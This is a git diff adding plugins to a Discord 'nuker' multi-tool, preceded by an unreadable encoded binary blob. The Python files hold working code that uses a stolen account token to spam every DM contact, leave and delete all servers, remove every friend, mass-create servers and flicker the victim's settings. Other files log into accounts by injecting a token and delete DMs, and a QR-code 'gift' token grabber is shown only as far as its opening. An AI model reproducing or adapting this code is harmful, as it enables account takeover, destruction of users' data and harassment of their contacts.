zK1J|Z`yXcY3OwUKxLvbT8TG=VFIy*5t>QkZL=a29|Mgng5S5Od2AjSZGGe{Oin~gi z7PW>uz^^}csK2$&8yJyLm76c{N4q_j+UL7rs(Ij74_Rs_y4L7g1&En0UwxsyB&!b1 zlKa9D3FBz*zasq?;Gci<1RCD#+vIGY(YfBGIaM2+ zBQB8rFnf(j6jc4fhd79&bd%Owpox3j%2!HC8}{r_@3v%bRaN5WY-i7HsC*?^W0TKT zJN&8RB=PG@DSgI5@+`0Ymy#J_CWzS4`jCZh;Y<54l!WJxCwv~-Ku-apkqbbuC7Ka+ zj(`mz^YD1g&4E={;7q30`~N)CXnz%@6q3|1_&GZlL)M$$zhyrw5>9J^>x=8I9{I43 z25(it!YgB2T@)%~nfKs<&4}?Ts?(Ml6N*fFc~fm06YfB2zWH`2I$-#oku$0EScAYq zWT;&@|8vQnTG=|T>-4zyAI38RnRXy!1ghp&=E;I#c4iY91ZvS>I>J+2!)r;9 z6l%INshukIybk~qn~9RLnhQBEPxnbKkKMIObACrWg>lbVO+I}t*xA{{ZX|Eb3A{8pjmY3 z(Jd2yKMP)rhIXGwBM+ZI3nDJaggQHvSTgM78N1hJ9{T!rufF1SWoIOBMx@You5A1B z1u|o)D+7Dq9~9D+L>&WhL=yF-VPCb`EV_;hM$?FbHQrh%hcs*{m4oe#b&4D+1tB6U z#Gy=eDczD(s$u3|t}N5ahj~Bw_c3t85J^kFYIzQS0QSyNKY_E4H@PsdKYpU}m4}#h zK>2d$X*5#tR3M50-Gv%a46UdG_G>^908`?_fR4WYXH;oC9EWw`=H&WX= zOvU%qtf%cylD~ACM_jGmd7hk8;}j9$i=N$Ihsha_p6q!1?`K)si~9NVXI+L!1s8Lz zqKOtf&`<)!F}T44T%!F>|Ks~jXz-o-W6Jw%1u_62=&B?I*a03?JyJiOYWZ-5P!gf& z^wV9I*x0**D&fF#Bc6kVi5qdlA#o^c1wjnwg8caqvD06DAiOVWrRp(WoTFCp>HeL% zQrw8J&GahkQo290IhrnvJaA*UrsvB=n+3-M=vjxGLCc|57UBAPIMh=s9G}f;j?K~4 zl7fc;N=uq-O6sV^t~ZCW6_pnOcx+Er4GoWh)vJx#I{WW1&6B>fD&X?~Q|0;FHvi*M z9K)#iz-f6*O^u@S*LNq$5r?UQRU7d;D{S?`pVu&34J~x9)>JEyoG?|p@a4r+G0Du} z#|40Lf+Tnc&hC@9^RVq@V&Xv5Ypmsh51sP?LhKL|aEE+<@#bqp<*#7zC&f~6ph*W` z5>zv?-u=f5nAKPG(?!zFFftGVMddBje)kzhXs^2wS&|_8BJKx5`~p@F8>x>W0Y1g< zZy#2kZ5w+@Y-B9->o@samPMLJlQM#+X2N$!A3hnJp?I9z-Bn z{SiQG`t#>o_G%KO8A%T0%}iW#EI8>2JZf4G_4jMw%G(_zN6M2RZQ2YCSC`F#YfKVf zKTXj*$}fK40(`}utzi{iaCc3sZ>9MBdr`~KRnmH00Kz8BBm(vcs1OmbA|=4M*MJfe zj+TyuH8!jrR^%}KMwn*t@Lkgr4RqJybnCaCh$44dtZN)Cx@Q8JiFwK1vLDaJu8li6 z-Z=25ZJ4Z|HW9}x{lGpZU7Jt8*Sb5AGnY461TiK{a0mcQH?yC;NlTrd>_%ZdARc74 zqIvHBGJ(cuC<%9waQ1>=m`j&3e)*6KkUGACjaZAwE+tG*H=D#iet0+eH1d$|Zj=jj zf>a)0q<^d!zLu`+ZY$u$&gA%4%IeHH+n*f5y3mjYY?=p=HPk$1g4=|;e^8s`c^D6P z0+*iZm;jHtco7e>9f%Zv8)2;9H=j}Id>c-nZp#cZehi)yr{b2GIps6klPfE{GJtig5GyN-xe@Y&|8W$- z1*kK|dcz{F-r5%k-lY62?$h<(RM|{yp^l7n5rF{!|m0qdTgNdtp9h_JO^v-o;l4dK)jlLJe$AjQks7|NY{UGzF2Zc zM!q6P-RSaveUC%D-J#<8P zHHAH~o^k{bo5|$tzz%K3mOt+wePw>#edRkDQ;x(yffH~TyCl?=g6|mhFgYc@@R`x; zRJ8GI-XTXb@zk3%q%(o$I$Gw`qvm^N*!DcRU5y9v^?#v5IQjm{cf4Qf%AHGsiSNv6 zjF^exWi*X0nBT@xrUFfvxs(2iQxz=G_=7-9XdGH(uzYcvTpu#L5=yENh}V02TL#oB!`0dlrRrMb8?MYPwO`659ZC>V38nuuu8#mshFMLaz5C z5H~gc;%otP=$WRKyCD`t3r?UC$uL>VYs)A)uC>S1OdY$&YMPh9?KNzK+#glQ=D_Hq z#$Uisy41XGy|N((b}Lp1Sx=+Qj6+8zp)=+{THB0cG+I)M=_U>HY@dlaJQ}vjw<_5ldX(yRnUk{clt*Y=TS^OW5G;XU?<`D&qqvy#j z_u-k>$bg6`j3y+~g~+C40BPS$tneVsiox*Dn}8C@D+EAhWP!2HPNUX-;`HAs9l}N( zJ0lnZYHbk(W3xg|QrbC%!Yjnbua6|Zm|b`O9k>6%DZzhKg0dcSZ9{=9e!0YZvRga? z=4bdD8ZzsUtE~Iz^5U_otxvWRSWIa4v`RXIo39oaR#<~ZoA6W1X(B0o=lsRCx8`c= zXNAq3(Ofj?k2(db?yA*N--9%&4=7mdv^enZtbzixwTyM3rfnOCPXDYMb+RC?4z4Z* zPrX-cZEB}K%DsQxgVzn}3&se#eE!$d2<;xs4(}co;6iEG>XHou2}8vuT71Z6=fTpm zn(pm^sAf>q<6Iyv$aNQN)h&xsjDV&73$*_{$HbH&b9H`|GYO}2I<P8tbl zpQR95=+_c4sBwXo9oJjsmElg-9ZeH)!r3v7B?L(NjUS!x?k)k^{F4Un^M1Sf5@ux* zwdtYc;AcX|&W{z@O>;4{?9GIbdA%b2cP{`s6VR;9Vo~)fen!)87k}6)2>;~;P&~Gt zz~b`&o7_!(Y7WvlkM*-a=+BC^RG{74^6YPkYN%;&_iEl;xxcRtiZJ&Dr!U?IY)9z| zx$3}J0wLf}`SZofvj%$1;nfWxD~VayqWz~gqFM4g4A3}iq* zW_`u2kvyRm$q&R~(=J zku7IqMIPWvBE&b%jVoOn=(K{ijRi}jUvbRuFriYH4|is3oJ<6g^8$! zs16gmT@9_5_#vHzl+s8=)sn*Ycegc`Y;AmJ!&~N>u8~8?1XF0_m!$Bg(zscaIJ+LRm3-X8`^3nskxS*<0|lS=)Q<3{cmeHR~sqqvhzc`fJ_$KMLW zpGMR~p@*gpXgO&f+oLfX=C)xaU$?Bmke!?xRaAqzndn%|3*t0Q(*eO>SZ!I%Wx^ zFBbx=SDY}PubQI2tPZ}SS$4tbHE9tN?h3V~Xp2e6am8_N^di01zteMWq%RIq_tA}< zoe5N^63G<5&*xYlXN)3B-qPv-q&Pq@r%|222`7%+_73j7O(vAY{-rKTXwIXD}H zmVYEM;bf&j%F2(1{R1q)b~}C!Ew5)lGKLt3!q!*R@@8AGF)zXHRJ8oN9pYa~1o+5W zcTYGDtPzw0Cohv#_~@^|PRdZbx;@Vy0!8yVE|LRn2?Ju`1+f4r|Nh7j?Dy%yKVbL( zRh>AfMuel86aQ%k?V*qb7p`$C92=R$h2X(P;qmW1R8PZaX>`&;SDCtS0X5!-@LmqX zQ?K0N?Hlm&rFSlK*Z(qw!5ix)7XeH01)##$=Lf8^EazW0QJhPT+RB}g3dbNQfIdra z*YKTBlY>m^;)ao737nNGN$#kj$E(zYsl9a|#lPEKFthMNJJ}ujYTL+P#aoB*1k4pI znZKRVcm%MYW}_7X-k)Cju3jDVUr)m6gaaViZoS7})H-R&C=H64#F_yd100tJdM5-C zrSqd*fin6xd^AuI{wKd;kJMr7i@Bh^wir5epdCqYgO@h?O`Z?1DT_VN7Yt@=lH;A5 z-=oDE9^oBZm(oPWbDP)q)g4-(Lx<^jEw+?i6#XUiyap-!W>M6g=H{@DaqXvL$Gf_( z_rx2&Uimk6xHKXZ{^b=o9>{H)y01zA%|F<8kGxF4W4eb;9qZ!cXRS)y@1#1|<_jl} zvy4vJf63q9&pz(snp3p@QhEhF**^Gw&as_dG+qJ~c#!SWg`k*aP&5{L4E5PSX|vFw zbm;qFYh!JG?DWvr^+P3vwu^_}9r%MeY~Y6+5dlKeKW*k#4TOQ&##jt5m59R|mwb2Y zieWo0HfZwL@iYjx0zb0y0p8oQSYT>hIwK5<$>%}VF-%w6$AQ}ZLm`Rq`EV^(;}1>j z&#O}S3bLL2v(rQEA%`l~Bsgbvqru%Zf-HTa z7xbfmGVT!70ta=rX%(z=#`sQZ&N5X~3ST^HEb#t@RzlBxz(>Fqkq1cdD&`>5Gj*74 zpb;&5q|a_aCvaXY8WO0F1D33XmennvOp=U(UwzRwx|QgJFlF-Eh=G#YIZ=tfNC?N$Q)8bD-!R%B8d z3yN=bk83k<$8p0kS|Cj5lG`clQ9>NpZ7^{AK-#3U%fAd8NPH|%*AxQdxBAV?W4Z;| zisTJz`@re?Jz$^zh^_sA6I4&FmIk^uJ$Xh)mzvY7gMUOII2B1Lc2F95;Y)3atC3XO zXy2kYLiE3zJ2NWGPnJN90QG2e$?tH%DZU+EPiz;X2d9P8J)D`*if6< z^gj>Au?JZ7n0+=g=JU({dS?Qc=t|4K?hMUvxqYR#WGAixUbjFxXEW#rN}Au{hF>`v zOr>gm3-gwHK^Ny~f97tDzGa8Ztc#7?R){g>z@P?@&=l9|-1RvEW}^iE-<}ivu8X{j z_p*^R{co_^8yC#y4!KNHo&L=+OvKUK$3QL-v@l9CLI6cTMv}#(Y7W1}lS08T-|rS+ zm%8`#&_+7|-KuZ$g5>(-B&Kuj9<60BU5VQyb%ef)a(bXe$c6ASHag9z|*hqol z@nID$wA=1)2?AIF>xm~iA@pRouQ{U@RB=X8dz1$H0zfFfyEhLJR+}mMb7+%spQaPf zP8!w$D!RUTxbv+UD|h;%GxLzA(BidUdz+$K2Frz55anLW7!@MqeUsLHX>qHlzO(plR6dmJ!v?JSSX7E4Y?|*(@`BF_EoDx@SScd8PT~L6cI9DBT}wQ;6jvgkP_-BY0sB-IaV3&~P@rN(YZVtXB34|G zr79o9eu9fY#COyX^ z#eK~GA`5OJ&0UE%$(8*uCHrZ-_t*XN^O2=G4LPnai zV$$P1qlkBOmDsD*Q>Q%>G|x%Vqzx&M#{OzAaoK%f(!nWFUnlw1-@dkdS>XB*%D#1h zx=xk-W~u!=|7A7?4Rp(X7Ox7YPXph;L9Wr-8BiBIWIhi#cwjnN1y1k|n|?m0C@L$p zRamMb>$WHpHczarVH*m$-+!7IErQgnuhS=kX*EzYmHtQMT1Lf3QCX18A8&Yxx^Q7u zcHQ|1>)Pg5GhH;|vWu%)I?C@-0s(@bJ8p5nv87+VrMmCU3S?h1-k*ym6(G9DQ%@1# z*dF?K$m(?<*fQB-*4w9?ImQMLi|Fm^l6q7@TlbQ0g*{ZIw*maePb$&eI;R)cvgo6$ zEn*JhT^UF>r0T=nyn<-R#d+u4Gmab&o2ukR@%#4h8}ADi7xoJdc6n7zjbtoM-e>8s z7lgk{Vadw>EN8daHmc`r*>1DebxsTc^Y#dSRw?~61cZ16c))DLY ztXcr?yoi|26}1FIJ+0BpI{58cwdJoYJH+6xn~v9i>-k$KjfbHqUf3HjRnnYBsN#d; z$1;5HV)5CYv-uT~8~$qcZiP+}3Xa_}JoG0tXza;%eV58)-N-`~X<(vc$|TtHCQ^4fh*M)JsQEhBA=u3#NGO*Mcp zTUU^@6GaQV0kpW}2a;lrGo(#gRO&_vj3t)VB}cTl{K)Z0b#2R7_klzTInf)RfnvH18;D2ppY~XT=zXy`BTd$v_V~GreVg6= z%d_AZuTiYby8f?*?0~7xBuaX?c%LS?P1=XsyjQ35B8}iyt0n97(yF!q-0Gt=`?~V> z3mqL1b(CLhE^%DrvSMSrSFFt4bbYlvARW^|EyFe316R`=MZn3%l=CJV-?tWw2%qre z$6oe#aR=&aCtvj4>sD9O5pQ4?MedZO>orUZfq$EAGw4ZYdoc4(9wXg*`8O#8@+ymH zR=k0?3_{3EbML8n5a8aDPa!E4-jp|stT0qC-=EfbAwhmoNx71)e$T=8p5*7BMUImw z!euZspT<-5RAv$%pWc|Qw$KZHEy;#`p?pFkAVb&I{FMcot>*53iT)zE#&q$2&$U7=)4=bs3`W+X`P0`N|@pWVE7i zN5m~*Qd z;n5i*Bi5xJWRuJ&@`=L)h;1cV!Q9n*fs1pulNJ!Hj&ixxX1$21v#-}QS0gI@w`(Q! z9lJTL1^&v+e~1Zg^5n~UT)4)m_FjiXeW|L>H_gaUywf+?53vfF<-rtWGn3?Sw>BVQJ*dwCy+samy zt;rAiHZNu`bkj-iiQWsRyd%glQAk2dV^QNk^9(-j49AvoHN8zuzp6|oB&Lh1l2#^| z+p25;qeyAyE<)a$Fod+OpUyQ509URR_2?d%N9GQIULdk%h<^^wX1;|fOMUWhi*ho8 zsIhj#-34&eih6`BM$#D`YetzmGq2;+2EneSqT~qsx~2&G%b8cJ?CUtLk%2LU3mT=` zX}cP-II&<9u<@T_hj~X`S+`U5`|xRxZOY2_syUq61=T>+rIKi-h(rvLjG!jS>W7SR zVS5FS7F@62tCH{mm7li6h9Rhu`iy2|`5A-Aa#7hi#G6mo zAs{JL(TKNe&nDCRN@S(9f70o4@2@K00%8*wyeE0g^`~`P^>b?S$=NWROee#IjI;pr zzNX`CkKq?cYP=;H?X+Ox5J3xyr@TJoB5q|V+fHwJZlb|q|AK5@t}?7_bga}$@CNFC zPcwJn@^)4dm(!5^S0_9EY>1*Q3)vqK8$!8={u>aH^c2`|C8F!t2F>9bdZbJfT#Q%z zTVb5k8kM6L5h=6{8PBpLk%jhR{Ko`lY`_cAeFz8UA zar!J$3^;%=iN`CqB8oDH+6%IG?+S7{o&O=qyo-xs+wppXd1-F$#Omrk+sx>QfMRa^ zX1hqCLC0sZ12{4hU?VWaM?LN4@PnS z=3BJ&9wmJdk9tDWXwh$go+5xXy54NDvHyItE?L+*dwIr>uo3d3A|(}Z6Wq$)0)HHa zQ3Ww#L|gGpKhCIG?|`7_W=IP`Agglt%VL6%qLMHrL^K&R%*6Ba3Fr)do^>!i?<277 zt-sOpGx9B1zPv?9pIr#Db_OeDly(6q#{viuC1f_B9t&# zgwpF%DivWZ;}$zVZ{Zp=*B_-wK$+&|F0gX6XEYlwJOw)&gN^~Ik4KOB= zxo(fN#8&4@vS;=4PPmVb<-MR;Slj|$nR^23L9cE7whi;ls17mfBJOwilWeA*8qEF1 zN*Fce0d0OStAZzXy9?G*7am}{$deoC{5M|0_-b^62@Mlq5$?6&J`3k*roR!h{;0dtJwy*MXe$t!$L zg^NG7^EUntw9&L3*yI^2DNyL8z&~q} zMNIB6bTi8Z%bj483c#y$N-ZR4&-h!Zm;Iu54b1`!#M+4}m|b9Do9d4DFPlnLBw#3 z$M)*n)A6)%XNnz?!>ul8i@M%)uIMTHaBEpDkSN=&6^|ezcwjg`=Gbo$<>iW zj3Ena;>jR_$We)o&j&f#P&9tt3>v5^O}_I!GeETrdYnIAI>aI8h;47-YJVL>oMZgF z0ZM7m!VIXN&(p?qh_h@wcrPNR9%Ea;uYuO7`>fL#KwbZEF<(OaUJ3#miRddE1nDwB z=mi=uvDbnz2cNP#`)$nq8_2`4Fa`68cC7zmp3It`V3UgHRGH*UsL; z?-KDJ1ko)qv9Ut&Vl5v@!XA+k66LyjF-9J256_Vgqzs;%8$waE#>y)S#jJWLZm!Wg zlxTX@m=}LO7Ax4Xhn?AkkQu6ygwnpdq4dQLtbkGC9tJ!BE$>O;N9=4Jt(3V3mcTLUxHbieP#Y#vkA3YI!c0+Skjs zbScKltwGV~m?ANa@6yEzHdqBElED8-%Xz?_&WxfNy7O1}^1n@A1@=seQL5!A=^Z1H zH9Bql`NBC$WKzA_b>*ahLa zq5*tzpX1!l;%ZNV4d;^xU)cmhHEU;78FH_qR?$|IN1ukJ%#+-Dp6n%c*W@M!>mbXq z)boPMD!W8#E11YMr@)GUd6l%mCYZATpFUGMrCmGMtx^Y>2F5SZhVn!+3yF&arqpOO z<{iXGQi)H{x;~l>D4taWQh~pRl-vaBBue+m8j`masA=A!smfP+PJNqhmTO)B z*pj0pYB;`2N^-&;zT&pR1_5gc=vIA;D6jDM{~GQKir>cH23q6Z;rJ-FiJ_EqO&Ga; zpVocoHtu(H@wy9cu-{q~shwN8RCEWe;|u()1h*DR$&I1ztyoI`Vc<~(Gaj=?@)f{;~2R4bcJ(!fL=FO&F!0{@Ggy-YEl* zH!zP-V6}HoVl4TqH<6A363I%yDx%(zl3hVj@A&PmsKK)XDDW9<&(7-N9#*mPkDn)= zu2x`PUi>r2_>cceeFvruC&bT6oc*sB<_`4n4KtWe+lHwP&Mtvi8jZ1kmdeFxG8-x0 zA=sJscO_9uMh2VH8IVXt6Eh%Lvm3dpG3AO}FqcR1_Qz6MB(r3is){C)MHkBjV+J5M z?j!df%=uUJ@XcN|pHrb!e}qrmj2W1ocnoJfGr~3LisX<6w@~V(AX+%!or|c#RfJ|K zXx!>s{$SJ-#UV^v?7$+pD?YKRj`!3zHa8pN zgEYP~Y1rDj$B$N3c?Cq?`;V$mrHSGPO>DgA? zqfOZ3*wA#5VLU5mA_h^xabuyBbrIMNMMRR0AXIF(A6 zCakTiA`xYoNa@&SI25}Sc@NAz!JuMCFinTfz%Gr}Y$+{A$)(ldk|kGA$Xx*}P_pd;bqlzlBp*(d|1L+vpB<@3mDYOY5~8*)Iq5S#mX0q*B_ z;FS;G+>kUk$LW@fy+;gmp@fs1wzuh$DOWH(Q_b5nbAimEPPU}0Iff~{_;#M>&@8~P zC5eyPrU8Tz!&0b21rW5J{eYXFCX%$I$7ut#{+~{ipw_>vHhccwr9Ky{!64eWZw%jI z^63Z~iY4

dx((V`Sz;dN)83jt8H>-v6glKq%z>B7F23M7-#=1hn%pP8c;2j~H4) zk@*|(u47u0avBRH?N>m?Sfqoo`--~%tG_>oJYswc^?Z5q&T_{o*q&HY-j1=1-@5`* zC+|e(VD!Y~cfY+p*T`&;Y8VeJk7-2FISSx%25Z&v1mZC~Ud?-M1?rtx{%FnjGq66f zLIL9w*F2tzu^t^9H~={ZX|VC+Gh;g9or5u0pLm!y6=NBXr3}_bnBdvADy7sZUXQv& z0|nx^;`vxuZmwuKUDeBbpo+sp$~XBXGcZ2!9hl6;R>sQf7@zoP9*BvZSl&!_N$WY> zTh1U+IGz-9%v@maQ~gO6QCQ-mL)DfkS4dd;^_4P5(|9aJ%yCF8#1g>&KqKLW{FXt= zd05rM_8qy&`u`+pKkZ%ScIbD^NNA_@?0Z~C?*NTIJhqBzMr^TuJkLKC zP-Hs*4z#vwH0Tjze0GjM6aVRk09s0b&qVEhzfmR=Q#~dm%$yWZI-1KA$c|i+{b>Gu z%-rnoQTr)#;zzTeaQw&>rjN!h$4n{mOSWKrV!5k&t)YQeqlVT%#xfuL!o2CK{LkOamV!hp zcn4_P4?WW&*@GGLciaBhGIfsV^X3!7uFyj6i9Xpx7&A?Im{2?^K>S&(@ZTg1N*oKulLlTY8(gg! zGs;GL?){I?73xvaF}r)ihDoIM8k4e(GC$W_3brlWK5W$J@9;HF{Q2^w_B2&2?>T!b z=m9Pky`{c;`NOa|6se8TFF_IG-~8599koQjbPs&?Zh-5R`cfF>+PNX@=r#WxHnsM5 z{2ynO(R+eML$&Sb>@&*9Sx1Ns>cPk1B->chpPKpr>=+KQXFIg$aw722FUg3#)DCmt zkr{3qwql+&d?tD5Rx-+Dk=|Tix_D@JL29JHxBj{U9axtP7n<-f`t2N0e*KP)zN4*; zcmvVtoS}sqsqtd+-UA?;L?@dijC65syb1Uy;{>gi8i0?4|4A{3m8tG(Cl<(AiKT8PQon!A8vMPyRqhiZJ})I}c1phlwO? zF*f#o|FvYUOwz~0$l4Vh&SU(u*Sxuo4!>b3De`8RUby1>xbKES zPPE9PPfhaa$p)#j{ue(>NXkoWb(#ggz|&(1w0`1Q)@Fz4Xy+fp6CJ*IW(MXHa@2#U zg2+X=lvfkaux%TZbxZ=#7m}!U ziR}xXuIaRZ)7A_QtV^E-A3pdsxOoiEI|L@F!@+lCs*BV`J>^5&EK=9Hpb$x2lf`ZTIcEjWfmUus!52RKsbkTFWSMCG~Y)Vu#pDk3dStA1HB|O%BR;y9~b- z$Iy{bk^W7jvwt>OI|A|}e8rv-PUb_z!?LCQ;KLbgY7f3^Cj;M7+xw-@5t82p9WU5< z;%aL-f%{$brFMF!h*2P$MqOBl%oVWe`f!I;N_pzJR8FH#0o2<^3nMc`R!ky+7dxTG<_A)#3dhwXK~105QApPiDJq6C!b@}#LUa@GfpGFA-}9= z_M4;?^B4yW0th2Ay>$Sm@@{CTUOdc-wfF0Kzej+`%QCp16sBb2=Mz|1f*x;hm*ORuSue$iRs z9Zvfxo+az|J|n9@YNhQzk6U6+olDsxUPWlw&%n=0@V#&YPhiUGwj}uxzGV~5p`&mS z6UrCQe+BizeuR)$WCmXDGs`Fq5&{D179>r)>g*!5-QIs%l8vQsUd1;sJuX&R#^SPYY5Ei4QPN*&euOU%%POyx7C-Vl?jciE z*Vjf1-`2*6mi8?0J^-+^Qd;0$-tuF=5|($7*hRqwVP3Z$EW;)!_TM6eFH{!sbZ@<}M K8n^Mlx&HyY85gSn literal 0 HcmV?d00001 diff --git a/utilities/Plugins/Account_Nuker.py b/utilities/Plugins/Account_Nuker.py new file mode 100644 index 0000000..11170fd --- /dev/null +++ b/utilities/Plugins/Account_Nuker.py @@ -0,0 +1,103 @@ +# Coded by ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker +# GANG Discord Nuker / Multi Tool© +# Copyright © 2022 +######################################## + +import os +import random +import requests +import threading +from colorama import Fore +from itertools import cycle +from pystyle import Add, Center, Anime, Colors, Colorate, Write, System + +from utilities.Settings.common import SlowPrint, getheaders, proxy + +############################################################################### + +def GANGNUKER_START(token, Server_Name, message_Content): + if threading.active_count() <= 100: + t = threading.Thread(target=CustomSeizure, args=(token, )) + t.start() + + headers = {'Authorization': token} + channelIds = requests.get("https://discord.com/api/v9/users/@me/channels", headers=getheaders(token)).json() + for channel in channelIds: + try: + requests.post(f'https://discord.com/api/v9/channels/'+channel['id']+'/messages', + proxies=proxy(), + headers=headers, + data={"content": f"{message_Content}"}) + print(f"[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] ID: "+channel['id']) + except Exception as e: + print(f"The following error has been encountered and is being ignored: {e}") + Write.Print(f"\n\nSent Message to ALL friends\n", Colors.purple_to_blue, interval=0.009) + + guildsIds = requests.get("https://discord.com/api/v8/users/@me/guilds", headers=getheaders(token)).json() + for guild in guildsIds: + try: + requests.delete( + f'https://discord.com/api/v8/users/@me/guilds/'+guild['id'], proxies=proxy(), headers={'Authorization': token}) + print(f"[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] Left Server: "+guild['name']+Fore.RESET) + except Exception as e: + print(f"The following error has been encountered and is being ignored: {e}") + + for guild in guildsIds: + try: + requests.delete(f'https://discord.com/api/v8/guilds/'+guild['id'], proxies=proxy(), headers={'Authorization': token}) + print(f'[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] Deleted: '+guild['name']) + except Exception as e: + print(f"The following error has been encountered and is being ignored: {e}") + Write.Print(f"\nLeft / Deleted Guilds\n", Colors.purple_to_blue, interval=0.009) + + friendIds = requests.get("https://discord.com/api/v9/users/@me/relationships", proxies=proxy(), headers=getheaders(token)).json() + for friend in friendIds: + try: + requests.delete( + f'https://discord.com/api/v9/users/@me/relationships/'+friend['id'], proxies=proxy(), headers=getheaders(token)) + print(f"[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] Removed Friend: "+friend['user']['username']+"#"+friend['user']['discriminator']+Fore.RESET) + except Exception as e: + print(f"[\x1b[95m>\x1b[95m\x1B[37m] The following error has been encountered and is being ignored: {e}") + Write.Print(f"\nRemoved all available friends\n", Colors.purple_to_blue, interval=0.009) + + for i in range(100): + try: + payload = {'name': f'{Server_Name}', 'region': 'europe', 'icon': None, 'channels': None} + requests.post('https://discord.com/api/v7/guilds', proxies=proxy(), headers=getheaders(token), json=payload) + print(f"[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] Created | {i}{Fore.RESET}") + except Exception as e: + print(f"[\x1b[95m>\x1b[95m\x1B[37m] The following error has been encountered and is being ignored: {e}") + Write.Print(f"\nCreated all servers\n", Colors.purple_to_blue, interval=0.009) + t.do_run = False + requests.delete("https://discord.com/api/v8/hypesquad/online", proxies=proxy(), headers=getheaders(token)) + setting = { + 'theme': "light", + 'locale': "ja", + 'inline_embed_media': False, + 'inline_attachment_media': False, + 'gif_auto_play': False, + 'enable_tts_command': False, + 'render_embeds': False, + 'render_reactions': False, + 'animate_emoji': False, + 'convert_emoticons': False, + 'message_display_compact': False, + 'explicit_content_filter': '0', + "custom_status": {"text": "GANG-NUKER RUNS ME <3"}, + 'status': "idle" + } + requests.patch("https://discord.com/api/v7/users/@me/settings", proxies=proxy(), headers=getheaders(token), json=setting) + j = requests.get("https://discordapp.com/api/v9/users/@me", proxies=proxy(), headers=getheaders(token)).json() + a = j['username'] + "#" + j['discriminator'] + Write.Print(f"\n\nDone, RIP TO THAT ACCOUNT\n", Colors.purple_to_blue, interval=0.009) + print("[ \x1b[95m>\x1b[95m\x1B[37m ] Press ENTER: ", end="") + spammer() + +######################################## LIGHT / DARK MODE ######################################## + +def CustomSeizure(token): + t = threading.currentThread() + while getattr(t, "do_run", True): + modes = cycle(["light", "dark"]) + setting = {'theme': next(modes), 'locale': random.choice(['ja', 'zh-TW', 'ko', 'zh-CN'])} + requests.patch("https://discord.com/api/v7/users/@me/settings", proxies=proxy(), headers=getheaders(token), json=setting) diff --git a/utilities/Plugins/Auto_Login.py b/utilities/Plugins/Auto_Login.py new file mode 100644 index 0000000..0d94852 --- /dev/null +++ b/utilities/Plugins/Auto_Login.py @@ -0,0 +1,69 @@ +# Coded / Dev: ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker +# GANG Discord Nuker / Multi Tool© +# Copyright © 2022 +######################################## + + +import requests +from time import sleep +from colorama import Fore, Back +from selenium import webdriver, common + +from utilities.Settings.common import getDriver, getheaders, SlowPrint + +def TokenLogin(token): + j = requests.get("https://discord.com/api/v9/users/@me", headers=getheaders(token)).json() + user = j["username"] + "#" + str(j["discriminator"]) + script = """ + document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"%s"` + location.reload(); + """ % (token) + type_ = getDriver() + + if type_ == "chromedriver.exe": + opts = webdriver.ChromeOptions() + opts.add_experimental_option('excludeSwitches', ['enable-logging']) + opts.add_experimental_option("detach", True) + try: + driver = webdriver.Chrome(options=opts) + except common.exceptions.SessionNotCreatedException as e: + print(e.msg) + sleep(2) + SlowPrint("Press ENTER: ") + input() + spammer() + elif type_ == "operadriver.exe": + opts = webdriver.opera.options.ChromeOptions() + opts.add_experimental_option('excludeSwitches', ['enable-logging']) + opts.add_experimental_option("detach", True) + try: + driver = webdriver.Opera(options=opts) + except common.exceptions.SessionNotCreatedException as e: + print(e.msg) + sleep(2) + SlowPrint("Press ENTER: ") + input() + spammer() + elif type_ == "msedgedriver.exe": + opts = webdriver.EdgeOptions() + opts.add_experimental_option('excludeSwitches', ['enable-logging']) + opts.add_experimental_option("detach", True) + try: + driver = webdriver.Edge(options=opts) + except common.exceptions.SessionNotCreatedException as e: + print(e.msg) + sleep(2) + SlowPrint(f"[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ") + input() + spammer() + else: + print(f'{Fore.RESET}[{Fore.RED}Error{Fore.RESET}] : Coudln\'t find a suitable driver to automatically login to {user}') + sleep(3) + print(f"{Fore.YELLOW}Paste this script into the console of a browser:{Fore.RESET}\n\n{Back.RED}{script}\n{Back.RESET}") + print("Press ENTER: ", end="") + input() + spammer() + + print(f"\n[\x1b[95m>\x1b[95m\x1B[37m] Logging Into: {user}") + driver.get("https://discordapp.com/login") + driver.execute_script(script) \ No newline at end of file diff --git a/utilities/Plugins/DM_Deleter.py b/utilities/Plugins/DM_Deleter.py new file mode 100644 index 0000000..cb5d03c --- /dev/null +++ b/utilities/Plugins/DM_Deleter.py @@ -0,0 +1,20 @@ +# Coded / Dev: ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker +# GANG Discord Nuker / Multi Tool© +# Copyright © 2022 +######################################## + + +import requests +from colorama import Fore + +from utilities.Settings.common import * + +def DmDeleter(token, channels): + for channel in channels: + try: + requests.delete(f'https://discord.com/api/v7/channels/'+channel['id'], + proxies=proxy(), + headers=getheaders(token)) + print(f"[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Deleted DM: {Fore.WHITE}"+channel['id']+Fore.RESET) + except Exception as e: + print(f"\nERROR | {e}") \ No newline at end of file diff --git a/utilities/Plugins/QR_Grabber.py b/utilities/Plugins/QR_Grabber.py new file mode 100644 index 0000000..bc8e76a --- /dev/null +++ b/utilities/Plugins/QR_Grabber.py @@ -0,0 +1,192 @@ +# Coded / Dev: ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker +# GANG Discord Nuker / Multi Tool© +# Copyright © 2022 +######################################## + + +import os +import sys +import json +import base64 +import requests +from PIL import Image +from time import sleep +from colorama import Fore +from zipfile import ZipFile +from bs4 import BeautifulSoup +from urllib.request import urlretrieve +from selenium import webdriver, common + +from utilities.Settings.common import getDriver, getheaders, SlowPrint + +def logo_qr(): + im1 = Image.open('QR-Code/temp_qr_code.png', 'r') + im2 = Image.open('QR-Code/overlay.png', 'r') + im1.paste(im2, (60, 55), im2) + im1.save('QR-Code/Qr_Code.png', quality=95) + +def paste_template(): + im1 = Image.open('QR-Code/template.png', 'r') + im2 = Image.open('QR-Code/Qr_Code.png', 'r') + im1.paste(im2, (120, 409)) + im1.save('QR-Code/discord_gift.png', quality=95) + +def QR_Grabber(Webhook): 